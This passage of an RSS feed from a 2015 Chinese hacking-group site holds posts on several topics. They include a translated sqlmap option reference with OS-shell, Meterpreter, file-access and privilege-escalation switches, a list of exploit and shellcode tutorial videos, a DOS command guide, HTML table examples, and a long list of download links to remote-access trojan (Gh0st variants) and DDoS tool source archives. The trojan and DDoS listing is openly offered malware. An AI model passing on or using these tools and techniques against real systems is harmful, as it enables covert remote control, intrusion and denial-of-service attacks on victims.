    这些选项可以用来创建用户自定义函数。 
--udf-inject        注入用户自定义函数 
--shared-lib=SHLIB  共享库的本地路径 
File system access（访问文件系统）： 
    这些选项可以被用来访问后端数据库管理系统的底层文件系统。 
--file-read=RFILE   从后端的数据库管理系统文件系统读取文件 
--file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件 
--file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径 
Operating system access（操作系统访问）： 
    这些选项可以用于访问后端数据库管理系统的底层操作系统。 
--os-cmd=OSCMD      执行操作系统命令 
--os-shell          交互式的操作系统的shell 
--os-pwn            获取一个OOB shell，meterpreter或VNC 
--os-smbrelay       一键获取一个OOB shell，meterpreter或VNC 
--os-bof            存储过程缓冲区溢出利用 
--priv-esc          数据库进程用户权限提升 
--msf-path=MSFPATH  Metasploit Framework本地的安装路径 
--tmp-path=TMPPATH  远程临时文件目录的绝对路径 
Windows注册表访问： 
   这些选项可以被用来访问后端数据库管理系统Windows注册表。 
--reg-read          读一个Windows注册表项值 
--reg-add           写一个Windows注册表项值数据 
--reg-del           删除Windows注册表键值 
--reg-key=REGKEY    Windows注册表键 
--reg-value=REGVAL  Windows注册表项值 
--reg-data=REGDATA  Windows注册表键值数据 
--reg-type=REGTYPE  Windows注册表项值类型 
General（一般）： 
这些选项可以用来设置一些一般的工作参数。 
    -t TRAFFICFILE      记录所有HTTP流量到一个文本文件中 
    -s SESSIONFILE      保存和恢复检索会话文件的所有数据 
--flush-session     刷新当前目标的会话文件 
--fresh-queries     忽略在会话文件中存储的查询结果 
--eta               显示每个输出的预计到达时间 
--update            更新SqlMap 
--save              file保存选项到INI配置文件 
--batch             从不询问用户输入，使用所有默认配置。 
Miscellaneous（杂项）： 
--beep              发现SQL注入时提醒 
--check-payload     IDS对注入payloads的检测测试 
--cleanup           SqlMap具体的UDF和表清理DBMS 
--forms             对目标URL的解析和测试形式 
--gpage=GOOGLEPAGE  从指定的页码使用谷歌dork结果 
--page-rank         Google dork结果显示网页排名（PR） 
--parse-errors      从响应页面解析数据库管理系统的错误消息 
--replicate         复制转储的数据到一个sqlite3数据库 
--tor               使用默认的Tor（Vidalia/ Privoxy/ Polipo）代理地址 
--wizard            给初级用户的简单向导界面

http://xieying.wodemo.net/]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影收集】高考逆袭的十大方法【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373485]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 13:04:30 +0800]]></pubDate>
        <description><![CDATA[【课时1】高考逆袭十大法则课程介绍 == 播放地址 http://static.video.qq.com/TPout.swf?vid=a1400mv7cw8
【课时2】法则一鼓起勇气获得自信心相信自己一定能够提高成绩 == 播放地址 http://static.video.qq.com/TPout.swf?vid=d1400gep6w4
【课时3】法则二要想成功，先要具备成功者的心态——读一读成功学的书籍 == 播放地址 http://static.video.qq.com/TPout.swf?vid=k1400ufzxke
【课时4】法则三“多逛逛”课外参考资料，提升学习兴趣，拓展学习思路 == 播放地址 http://static.video.qq.com/TPout.swf?vid=x1400khu0hc
【课时5】法则四借鉴近几年高考状元的成功学习经验，尤其是单科学习经验 == 播放地址 http://static.video.qq.com/TPout.swf?vid=y1400ckl65c
【课时6】法则五给自己找一个不受干扰的学习环境 == 播放地址 http://static.video.qq.com/TPout.swf?vid=e1400lytbff
【课时7】法则六找一个学霸做朋友 == 播放地址 http://static.video.qq.com/TPout.swf?vid=d1400k5h539
【课时8】法则七合理分配自己的时间 == 播放地址 http://static.video.qq.com/TPout.swf?vid=o14009jce55
【课时9】第八法则科学的制定学习目标 == 播放地址 http://static.video.qq.com/TPout.swf?vid=n14001zoyq4
【课时10】第八法则科学的制定学习目标 == 播放地址 http://static.video.qq.com/TPout.swf?vid=v14000ur7p1
【课时11】第九法则有所取舍，把精力放在最能提升分数的地方 == 播放地址 http://static.video.qq.com/TPout.swf?vid=y1400ipg1gr
【课时12】法则十让自己高考超常发挥的技巧 == 播放地址 http://static.video.qq.com/TPout.swf?vid=y1400zwprog
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】邪影网安组 黑客技术下载地址【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373482]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 13:01:54 +0800]]></pubDate>
        <description><![CDATA[邪影网安组官网 http://xieying.wodemo.com
 http://xieying.wodemo.net

01 ping命令的使用http://images.enet.com.cn/eschool/wmv/ping.wmv
02 netstat命令的使用 http://images.enet.com.cn/eschool/wmv/netstat.wmv
03 tasklist和taskkill的使用 http://images.enet.com.cn/eschool/wmv/tasklist.wmv
04扫描器X-SCAN的使用(上) http://images.enet.com.cn/eschool/wmv/x-scan1.wmv
05扫描器X-SCAN的使用(下) http://images.enet.com.cn/eschool/wmv/x-scan2.wmv
06 先试手:Ipc漏洞 http://images.enet.com.cn/eschool/wmv/ipc.wmv
07 shed共享扫描器的使用 http://images.enet.com.cn/eschool/wmv/shed.wmv
08 superscan3扫描器的使用 http://images.enet.com.cn/eschool/wmv/superscan3.wmv
09 流光扫描器的应用 http://images.enet.com.cn/eschool/wmv/liuguan.wmv
10 win2000自动攻击器的使用 http://images.enet.com.cn/eschool/wmv/win2000.wmv
11 俄罗斯扫描器SSS简单使用 http://images.enet.com.cn/eschool/wmv/sss.wmv
12 dameware远程管理工具的使用 http://images.enet.com.cn/eschool/wmv/dameware.wmv
13 找回ADSL拨号的密码.http://images.enet.com.cn/eschool/wmv/adsl.wmv
14 缓冲区及溢出的道理视频教程 http://images.enet.com.cn/eschool/wmv/01.wmv
15 溢出例子和分析视频教程 http://images.enet.com.cn/eschool/wmv/02.wmv
16 Shellcode介绍视频教程 http://images.enet.com.cn/eschool/wmv/03.wmv
17 缓冲区溢出简单利用视频教程 http://images.enet.com.cn/eschool/wmv/04.wmv
18 构造利用视频教程 http://images.enet.com.cn/eschool/wmv/05.wmv
19 FOXMAIL漏洞编写-漏洞公告 http://images.enet.com.cn/eschool/wmv/06-1.wmv
20 FOXMAIL漏洞编写-溢出定位 http://images.enet.com.cn/eschool/wmv/06-2.wmv
21 FOXMAIL漏洞-shellcode编写 http://images.enet.com.cn/eschool/wmv/06-3.wmv
22 IIS.printer利用程序 http://images.enet.com.cn/eschool/wmv/07.wmv
23 JMPCALL EBX溢出利用方式 http://images.enet.com.cn/eschool/wmv/08s1.wmv
24JMP ESP改写 JMP EBX课程 http://images.enet.com.cn/eschool/wmv/09tr.wmv
25 IDQ-IDA漏洞利用程序编写 http://images.enet.com.cn/eschool/wmv/010.wmv
26 ShellCode的基本概念 http://images.enet.com.cn/eschool/wmv/0011.wmv
27 打开CMD的方法-1 http://images.enet.com.cn/eschool/wmv/12-1.wmv
28 打开CMD的方法-2 http://images.enet.com.cn/eschool/wmv/12-2.wmv
29 打开CMD的方法-3 http://images.enet.com.cn/eschool/wmv/12-3.wmv
30 打开CMD的方法-4 http://images.enet.com.cn/eschool/wmv/12-4.wmv
31 shellcode通用性初步探讨 http://images.enet.com.cn/eschool/wmv/0013.wmv
32 Windows对话框的编写-1 http://images.enet.com.cn/eschool/wmv/014-1.wmv
33 Windows对话框的编写-2 http://images.enet.com.cn/eschool/wmv/0014-2.wmv
34 给系统添加用户-1 http://images.enet.com.cn/eschool/wmv/015-1.wmv
35 给系统添加用户-2 http://images.enet.com.cn/eschool/wmv/00015-2.wmv
36 黑客工具NC的使用教程 http://images.enet.com.cn/eschool/wmv/nc.wmv
37 智能ABC和guest帐号问题 http://images.enet.com.cn/eschool/wmv/abc.wmv
38 MS05039漏洞利用教程 http://images.enet.com.cn/eschool/wmv/nc.wmv
39 Iris分析TCP_IP协议谈-001 http://images.enet.com.cn/eschool/wmv/Iris1.wmv
40 Iris分析TCP_IP协议谈-002 http://images.enet.com.cn/eschool/wmv/Iris2.wmv
41 Iris分析TCP_IP协议谈-003 http://images.enet.com.cn/eschool/wmv/Iris3.wmv
42在系统中建立隐藏帐号 http://images.enet.com.cn/eschool/wmv/hideuser.wmv
43 autorun介绍与利用 http://images.enet.com.cn/eschool/wmv/autorun.wmv
44 iis的安全配置介绍 http://images.enet.com.cn/eschool/wmv/iis.wmv
45 realplay网页木马的制作方法http://images.enet.com.cn/eschool/wmv/realplay.wmv
46radmin远程管理的配置 http://images.enet.com.cn/eschool/wmv/radmin.wmv
47 Virtual PC虚拟机的使用 http://images.enet.com.cn/eschool/wmv/virtualpc.wmv
48 pstools工具包简单使用 http://images.enet.com.cn/eschool/wmv/pstools.wmv
49 telnet和ntlm认证问题 http://images.enet.com.cn/eschool/wmv/telnet.wmv
50堆栈和堆缓冲区溢出比较-1 http://images.enet.com.cn/eschool/wmv/dui001.wmv
51 堆栈和堆缓冲区溢出比较-2 http://images.enet.com.cn/eschool/wmv/dui002.wmv
52 堆栈和堆缓冲区溢出比较-3 http://images.enet.com.cn/eschool/wmv/dui003.wmv
53 堆栈和堆缓冲区溢出比较-4 http://images.enet.com.cn/eschool/wmv/dui004.wm



邪影网安组官网   http://xieying.wodemo.com
 http://xieying.wodemo.net
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】DOS常用命令【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373481]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 12:58:44 +0800]]></pubDate>
        <description><![CDATA[邪影网安组官网 http://xieying.wodemo.com
 http://xieying.wodemo.net 

一、基础命令 
1 dir 
无参数：查看当前所在目录的文件和文件夹。 
/s：查看当前目录已经其所有子目录的文件和文件夹。 
/a：查看包括隐含文件的所有文件。 
/ah：只显示出隐含文件。 
/w：以紧凑方式（一行显示5个文件）显示文件和文件夹。 
/p：以分页方式（显示一页之后会自动暂停）显示。 
|more：前面那个符号是“\”上面的那个，叫做重定向符号，就是把一个 
命令的结果输出为另外一个命令的参数。more也是一个命令，dir /w |more 
得到的结果和dir /w /p的结果是一样的。 
其他的参数大家可以用：dir/?查看。 

2 cd 
cd 目录名：进入特定的目录。如果看到有个目录显示为：abcdef ghi 就 
输入：cdabcdef.ghi进入该目录。 
cd\ 退回到根目录。 
cd..退回到上一级目录。 

3 md rd 
md 目录名：建立特定的文件夹。 （dos下面习惯叫目录，win下面习惯叫文 
件夹。呵呵！） 
rd 目录名：删除特定的文件夹。 

4 cls 
清除屏幕。 

5 copy 
copy 路径\文件名 路径\文件名 ：把一个文件拷贝到另一个地方。 

6 move 
move 路径\文件名 路径\文件名 ：把一个文件移动（就是剪切+复制）到另 
一个地方。 

7 del 
del 文件名：删除一个文件。 
del *.*：删除当前文件夹下所有文件。 
del不能删除文件夹。 

8 deltree 
删除文件夹和它下面的所有子文件夹还有文件，厉害。。。不要乱用。 

9 format 
format x: ：x代表盘符，格式化一个分区。在dos下是用fat文件系统格式 
化的，在windows2000安装的时候会问你要不要转换为ntfs。 

10 type 
type 文本文件名：显示出文本文件的内容。 

11 edit 
其实这是个小程序，编辑文本文件用的。 

12 ren 
ren 旧文件名 新文件名：改文件名。 

二、关于网络的常用命令 
1 ping 
ping 主机ip或名字：向目标主机发送4个icmp数据包，测试对方主机是否收 
到并响应，一般常用于做普通网络是否通畅的测试。但是ping不同不代表网 
络不通，有可能是目标主机装有防火墙并且阻止了icmp响应。 
ping -t ：不停的发送数据包。当然都很小，不能称作攻击。有些人自己写 
了一些类似于ping命令的程序，不停的发送很大的数据包，以阻塞目标主机 
的网络连接。 

2 net 
建议是用net /?获取具体帮助信息。实在是有很多参数，参数下面还有参 
数。常用：net view \\主机 来看共享，net start/stop 服务 来启动和停 
止服务，信使服务个人不太喜欢。 

3 netstat 
netstat 主机：查看主机当前的tcp/ip连接状态，如端口的状态。 

4 nbtstat 
nbtstat 主机：查看主机使用的NetBIOS name。 

5 tracert 
tracert 主机：查看从你自己到目标逐机到底经过了那些路径。如： 
tracert www.ncie.gov.cn 然后等待。。。就会看到你经过的一个个路由节 
点，一般大一点的路由器，如电信的主干路由，除了ip以外，都有英文标示 
的。 

6 pathping 
pathping 主机：类似tracert，但可以显示一些tracert不能显示出来的信 
息。可以自己试试。 

7 ftp 
字符方式的ftp，我喜欢用；）不用装cuteftp了。 

8 telnet 
字符方式的远程登录程序，是网络人员极其爱用的远程登录程序。我最近常 
用来调试邮件服务器。 

9 ipconfig 非常有用的网络配置、排错。。。命令。 
不加参数显示当前机器的网络接口状态。 
/all 先是详细的信息。 
/release 释放当前ip。 
/renew 重新申请ip。 
/flushdns 刷新dns缓存。 
/registerdns 重新栽dns服务器上注册自己。 
。。。。。。 

10 arp 操作当前的arp缓存。 
-a 显示arp缓存。 
-d 删除一条缓存纪录。 
-s 田家一条缓存纪录。 

11 nslookup 排除dns错误的利器。是一个交互的工具。使用之前请先努力弄清楚dns的作用以及dns的工作原理。 

xcopy是一个外部命令，也就是说，是一个小程序，有的时候会发现软盘上没有，硬盘上也没有。。。昏倒。。。当然勇气来使比copy好用，我喜欢加/e参数。 
smartdrv.exe 加载磁盘缓存，参数是缓存的大小，单位是kb。 
如：smartdrv 32768 就是加载32M的缓存。 
缓存的作用在你安装WIN2K的时候非常明显！不加缓存装WIN2K PRO要3小时左右，加载8M缓存后，只要30分钟。 
原理是在内存中划分出一块区域，在安装期间不断地把硬盘上的数据读取到那块缓存区域中，充分利用了内存。 

AT和任务计划作用一样。 
以下是使用方法，可以通过在命令提示符下面输入：AT /?获得帮助。 

AT 命令安排在特定日期和时间运行命令和程序。 
要使用 AT 命令，计划服务必须已在运行中。 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]] 
AT [\\computername] time [/INTERACTIVE] 
[ /EVERY:date[,...] | /NEXT:date[,...]] &quot;command&quot; 

\\computername 指定远程计算机。 如果省略这个参数，会计划在本地计算机上运行命令。 
\\127.0.0.1代表本机。和不加这个参数意思一样。 

id 指定给已计划命令的识别号。 
用来识别任务，比如你要添加好几个任务，ID=1就代表第一个喽！ 

/delete 删除某个已计划的命令。如果省略 id， 
计算机上所有已计划的命令都会被删除。 
/yes 不需要进一步确认时，跟删除所有作业 
的命令一起使用。 
time 指定运行命令的时间。 
/interactive 允许作业在运行时，与当时登录的用户 
桌面进行交互。 
/every:date[,...] 每个月或每个星期在指定的日期运行命令。 
如果省略日期，则默认为在每月的本日运行。 
/next:date[,...] 指定在下一个指定日期(如，下周四)运行命令。 
如果省略日期，则默认为在每月的本日运行。 
&quot;command&quot; 准备运行的 Windows NT 命令或批处理程序。
邪影网安组官网http://xieying.wodemo.com
 http://xieying.wodemo.net]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影收集】各大远程控制程序的源码【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373463]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 09:15:46 +0800]]></pubDate>
        <description><![CDATA[http://115.com/file/e7ze7re1#
内部源码.zip
http://115.com/file/e7zda2zu#
败笔vip远控3.0源码.rar
http://115.com/file/c2d71cql#
饭客钻石ghost源码.rar
http://115.com/file/e7zdaj2b#
NetBot_AttackerPublicVersion(NB)完整源码.rar
http://115.com/file/c2d71afa#
残壳网络远控过4引擎.zip
http://115.com/file/e7zda7v6#
霹雳远控源码.rar
http://115.com/file/e7zda6t1#
GhOst_RAT_beta_v3.6_VIP远控源码带验证.rar
http://115.com/file/be8qk7cg#
vip源码_26594.rar
http://115.com/file/e6e383gt#
搞好一半.zip
http://115.com/file/bhuwh4jl#
饭客2.0源码.zip
http://115.com/file/clfzh1sa#
至尊版VIP远程.rar
http://115.com/file/clopko6n#
1.zip
http://115.com/file/e6y8h35b#
23_Winds0701.zip
http://115.com/file/e7ze4fqb#
IM_DDOS源码（暴风压力测试）.rar
http://115.com/file/anhvw4b3#
End.rar
http://115.com/file/anhvwh1v#
饭客钻石源码.rar
http://115.com/file/e7zeit66#
Kris_Code美化.zip
http://115.com/file/anhveoyy#
新领域源码.rar
http://115.com/file/e7zeiej8#
DarkShell_添加真彩工具栏修正部分bug_修改生成方式.rar
http://115.com/file/anhve1z3#
DarkShellNew防火墙压力测试系统V2011专业版+源码.rar
http://115.com/file/e7zeidlf#
丘比特源码.zip
http://115.com/file/dpx3w04j#
401网安基地远程控制源码.rar
http://115.com/file/c2djksb3#
本拉登远控源码.rar
http://115.com/file/anhve7gm#
Sink_New.rar
http://115.com/file/anhvezr0#
2011最新仿白金树状分组源码.rar
http://115.com/file/e7zeiu5u#
tab分页tab分组+注册表+服务管理+实用功能.zip
http://115.com/file/be8yjary#
饭客十一活动GH0ST源码.rar
http://115.com/file/be8yj15n#
Angel_赠饭客版源码(注：功能上有点混乱).rar
http://115.com/file/anhve8vy#
暴风DDOS源码.rar
http://115.com/file/anhvernm#
天域仿白金源码.rar
http://115.com/file/anhveca3#
Vip源码.rar
http://115.com/file/be8yjc6l#
源码Gh0st木木版.rar
http://115.com/file/dpx3wwhj#
黑瞳2009版源码.rar
http://115.com/file/be8yjetf#
Angle远程控制源码.rar
http://115.com/file/anhveqwm#
金牌gh0st去掉网络验证的.rar
http://115.com/file/e7zei3mu#
败笔VIP2[1].0.rar
http://115.com/file/dpx3wd23#
银色科技gh0st.rar
http://115.com/file/be8yj2nh#
饭客钻石-带网络验证11-27-带压力测试.rar
http://115.com/file/c2djk9tc#
Gh0st白金版源码(没啥地方像的。。呼呼).rar
http://115.com/file/e7zeiltv#
零点.rar
http://115.com/file/e7zeify8#
饭客老钻石远控源码.rar
http://115.com/file/dpx3w2i3#
dll版本.rar
http://115.com/file/c2djkdwl#
gh0st_3gh0stXvid.rar
http://115.com/file/e7ze7td1#
守侯远控.rar
http://115.com/file/e7ze7p3t#
啊硕个人版远控.rar
http://115.com/file/anhvnorm#
饭客老金牌源码.rar
http://115.com/file/c2dj2j0n#
改变PE中资源表位置【附加源码】.rar
http://115.com/file/anhvnvsv#
[GHOST仿白金远控]源码.rar
http://115.com/file/anhvn109#
守望者远控源码.rar
http://115.com/file/dpx3vfe7#
Gh0st3.6修复BUG_内网感染.zip
http://115.com/file/e7ze8ow8#
GHSOT源码.rar
http://115.com/file/dpx3v7zc#
黑瞳2010.part1.rar
http://115.com/file/anhv0srv#
黑瞳2010.part2.rar
http://115.com/file/e7ze8st6#
自动删除移动分组.rar
http://115.com/file/anhv0t3u#
Gh0st3.6实行自删除.支持WIN7上线.zip
http://115.com/file/c2djab1p#
vip源码_26594.rar
http://115.com/file/c2djabza#
5.工具栏+启动图+皮肤调节+日志功能+分组+服务+注册表.rar
http://115.com/file/dpx3vxpc#
逝水年华安全网盟远控源码.zip
http://115.com/file/be8y9g1y#
剑客压力测试V6源码.rar
http://115.com/file/e7ze4ph6#
可编译的_gh0st_1.0开源.rar
http://115.com/file/anhvwoi8#
以前没外放的天域版本.rar
http://115.com/file/be8y9kof#
金奇第二次ghost远控源码.rar
http://115.com/file/c2dj8jq3#
改自饭客winds6.1版本.重新编写服务端动态传输.小马24K左右.任何意见向原作者反馈.rar
http://115.com/file/e7ze4mpb#
败笔vip远控3.0源码.rar
http://115.com/file/be8y9upc#
残壳网络远控过4引擎.zip
http://115.com/file/dpx3bgbc#
NetBot_AttackerPublicVersion(NB)完整源码.rar
http://115.com/file/be8y9fyl#
霹雳远控源码.rar
http://115.com/file/e7ze4561#
Gh0st3.6完整源码--视频压缩.rar
http://115.com/file/be8y9dnf#
新起点黄金版远程控制源码.rar
http://115.com/file/c2dj8gt3#
饭客2周年巨献新起点.rar
http://115.com/file/e7ze4uo8#
MT_GH0ST+2.0源码.rar
http://115.com/file/dpx3ba5n#
启动项强制过提示.rar
http://115.com/file/e7ze4x0v#
新世纪网安源码.rar
http://115.com/file/dpx3bvuc#
GhOst_RAT_beta_v3.6_VIP远控源码带验证.rar
http://115.com/file/dpx3bb13#
饭客钻石ghost源码.rar
http://115.com/file/e7ze4ib6#
零点源代码.rar
http://115.com/file/dpx3bpvj#
残壳网络.zip
http://115.com/file/be8y9h5f#
23_Winds0701.rar
http://115.com/file/dpx3bz3m#
中国黑客组织远控源码.rar
http://115.com/file/be8y97w2#
艺伟集权奴隶主.rar
http://115.com/file/anhvwin0#
VC++远控控制软件源码.rar
http://115.com/file/c2dj8rin#
饭客金牌ghost源码.rar
http://115.com/file/dpx3b793#
兼容Win7[1].银点.白金日志.工具栏_日志统计_版本密码TAB分组_注册表_服务管理.rar
http://115.com/file/anhvwsiq#
ddos.part02.rar
http://115.com/file/dpx3b5tj#
ddos.part01.rar
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】html代码实例（下）【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373462]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 09:07:43 +0800]]></pubDate>
        <description><![CDATA[[Title]Html代码实例(下)[EndTitle]
[Content]

&lt;h4&gt;用colpsan属性，设置包含多列的单元格：&lt;/h4&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;th&gt;姓名&lt;/th&gt;
&lt;th colspan=&quot;2&quot;&gt;联系方式&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bill Gates&lt;/td&gt;
&lt;td&gt;555 77 854&lt;/td&gt;
&lt;td&gt;555 77 855&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;h4&gt;用rowspan这个属性，设置包含多行的单元格：&lt;/h4&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;th&gt;姓名&lt;/th&gt;
&lt;td&gt;Bill Gates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th rowspan=&quot;2&quot;&gt;联系方式&lt;/th&gt;
&lt;td&gt;555 77 854&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;555 77 855&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;一个表格单元格里的内容
&lt;html&gt;
&lt;body&gt;

&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;这是一段&lt;/p&gt;
&lt;p&gt;这是另外一段。&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;这个单元格里包含了一个表格：
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;这个单元格里包含了一个图片：
&lt;img src = &quot;../images/html_tutorials/mail.gif&quot;&gt;
&lt;/td&gt;
&lt;td&gt;HELLO&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;

表格的单元格内容和单元格边界之间的距离(CellPadding)
&lt;html&gt;
&lt;body&gt;

&lt;h4&gt;没有cellpadding的表格：&lt;/h4&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;td&gt;First&lt;/td&gt;
&lt;td&gt;Row&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Second&lt;/td&gt;
&lt;td&gt;Row&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;p&gt;设置cellpadding属性，可以改变单元格内容和单元格边界之间的距离。&lt;/p&gt;
&lt;h4&gt;以下是设置了cellpadding属性的表格：&lt;/h4&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;10&quot;&gt;
&lt;tr&gt;
&lt;td&gt;第一&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第二&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;h4&gt;cellpadding属性值设置为30的表格：&lt;/h4&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;30&quot;&gt;
&lt;tr&gt;
&lt;td&gt;第一&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第二&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;


&lt;/body&gt;
&lt;/html&gt;

表格中单元格之间的距离(Cellspacing)
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;Cellspacing属性表示单元格之间的距离。&lt;/p&gt;

&lt;h4&gt;如果表格里没有设置cellspacing属性，缺省情况下，cellspacing值为1。&lt;/h4&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;td&gt;第一&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第二&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;h4&gt;Cellspacing属性值设为0的表格：&lt;/h4&gt;
&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;
&lt;td&gt;第一&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第二&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;h4&gt;Cellspacing属性值设为20的表格：&lt;/h4&gt;
&lt;table border=&quot;1&quot; cellspacing=&quot;20&quot;&gt;
&lt;tr&gt;
&lt;td&gt;第一&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第二&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;
给表格加背景颜色或者背景图片
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;Cellspacing属性表示单元格之间的距离。&lt;/p&gt;

&lt;h4&gt;如果表格里没有设置cellspacing属性，缺省情况下，cellspacing值为1。&lt;/h4&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;td&gt;第一&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第二&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;h4&gt;Cellspacing属性值设为0的表格：&lt;/h4&gt;
&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;
&lt;td&gt;第一&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第二&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;h4&gt;Cellspacing属性值设为20的表格：&lt;/h4&gt;
&lt;table border=&quot;1&quot; cellspacing=&quot;20&quot;&gt;
&lt;tr&gt;
&lt;td&gt;第一&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第二&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;
表格单元格对齐方式(align)
&lt;html&gt;
&lt;body&gt;

&lt;table width=&quot;350&quot; border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;分数&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;期中考试&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;期末考试&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;芙蓉姐姐&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;250.10&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;50000.20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;程菊花&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;1000.00&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;5000.45&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;周笔畅&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;2000.40&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;500.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;黄新&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;300.50&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;800.65&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;
表格的单元格背景颜色和背景图片
&lt;html&gt;
&lt;body&gt;

&lt;h4&gt;单元格背景色：&lt;/h4&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;td bgcolor=&quot;red&quot;&gt;第一&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td  background=&quot;../images/html_tutorials/background.gif&quot;&gt;第二&lt;/td&gt;
